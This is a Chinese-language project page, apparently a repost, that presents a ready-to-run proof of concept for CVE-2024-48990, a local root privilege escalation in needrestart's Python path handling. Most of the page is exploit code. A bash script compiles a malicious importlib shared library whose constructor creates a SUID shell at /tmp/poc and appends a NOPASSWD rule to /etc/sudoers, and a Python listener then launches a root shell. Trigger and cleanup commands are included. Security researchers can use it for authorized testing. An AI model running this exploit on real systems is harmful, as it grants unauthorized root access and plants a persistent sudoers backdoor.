CVE-2024-48990 漏洞验证与权限提升测试工具

2 阅读3分钟

CVE-2024-48990-PoC-Testing 🐍🔓

本项目提供了一个完整的漏洞验证环境,用于演示 needrestart 程序在 Python 路径配置上的缺陷(CVE-2024-48990)。通过该漏洞,攻击者可能实现本地权限提升。本工具仅限在受控环境中进行安全研究与授权测试。

转存失败,建议直接上传图片文件

⚠️ 漏洞概述

CVE-2024-48990 存在于 needrestart 包中。该程序未能正确设置 Python 的模块搜索路径,当特定操作触发 needrestart 执行时,攻击者可利用此缺陷加载恶意 Python 库,从而提升至 root 权限。

快速检测是否存在漏洞

needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"

安装漏洞版本用于测试

sudo apt install needrestart=3.7-3

✨ 功能特性

  • 一键式漏洞环境搭建:自动创建恶意 Python 模块目录并编译共享库
  • 权限提升演示:成功触发后生成带有 SUID 权限的 shell 并自动配置 sudo 免密执行
  • 自动化触发监听:Python 脚本持续监听漏洞触发条件,成功后自动获取提权 shell
  • 完整的清理脚本:提供清理命令,移除测试文件和 sudoers 配置
  • 受控环境安全设计:所有操作均在 /tmp 目录进行,不影响系统核心文件

📦 安装指南

系统要求

  • 操作系统:Linux(推荐 Ubuntu/Debian)
  • 依赖包needrestart(漏洞版本 3.7-3)、gccPython 3.x
  • 权限:普通用户权限即可搭建环境,触发漏洞需要等待 needrestart 以高权限执行

安装步骤

  1. 确保系统已安装 gccpython3
sudo apt update
sudo apt install gcc python3
  1. 安装存在漏洞的 needrestart 版本(用于测试):
sudo apt install needrestart=3.7-3

🚀 使用说明

一键执行完整测试

将以下完整脚本复制到终端中直接运行,它将自动搭建漏洞环境并开启监听:

#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib

# 创建并编译恶意共享库
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static void a() __attribute__((constructor));

void a() {
    if(geteuid() == 0) {  // 仅在 root 权限下执行
        setuid(0);
        setgid(0);
        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
        system(shell);
    }
}
EOF

gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c

# 创建 Python 监听脚本
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
    try:
        import importlib
    except:
        pass
    if __import__("os").path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        __import__("os").system("sudo /tmp/poc -p")
        break
    time.sleep(1)
EOF

cd /tmp/malicious
clear
echo -e "\n\nWaiting for needrestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"
PYTHONPATH="$PWD" python3 e.py 2>/dev/null

触发漏洞

在另一个终端中执行以下命令(模拟软件安装/卸载操作)来触发 needrestart

sudo apt remove ntp; sudo apt install ntp

实际场景中,任何会触发 needrestart 执行的操作(如 sudo apt update)都可能触发此漏洞。

清理环境

测试完成后,使用 root 权限执行清理:

sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf /tmp/malicious /tmp/poc
ls

💻 核心代码

恶意共享库(lib.c)

该 C 代码编译为共享库,利用构造函数特性在库被加载时自动执行。当检测到进程具有 root 有效用户 ID(euid=0)时,生成 SUID shell 并配置 sudoers 文件。

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static void a() __attribute__((constructor));

void a() {
    if(geteuid() == 0) {  // Only execute if we're running with root privileges
        setuid(0);
        setgid(0);
        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
        system(shell);
    }
}

Python 监听脚本(e.py)

该脚本持续监听提权后门文件(/tmp/poc)的生成,一旦检测到即自动执行获取 root shell。

import time
while True:
    try:
        import importlib
    except:
        pass
    if __import__("os").path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        __import__("os").system("sudo /tmp/poc -p")
        break
    time.sleep(1)

环境搭建脚本(主脚本)

完整的 Bash 自动化脚本,用于创建恶意目录、编译共享库、生成 Python 监听器并设置 PYTHONPATH 环境变量以劫持 importlib 模块导入。

#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib

# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
[... lib.c 完整内容 ...]
EOF

gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c

# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
[... e.py 完整内容 ...]
EOF

cd /tmp/malicious
clear
echo -e "\n\nWaiting for needrestart execution..."
PYTHONPATH="$PWD" python3 e.py 2>/dev/null

🔗 相关资源


⚠️ 警告:本工具仅限安全研究与授权测试使用。在未授权环境中利用此漏洞可能违法,请始终在获得明确许可后开展安全测试。

Happy testing! 🧪🚀 6HFtX5dABrKlqXeO5PUv/2riN2rtkNnXoWJW1K+2M00/BFIg4/gaEOl+inHDRXgC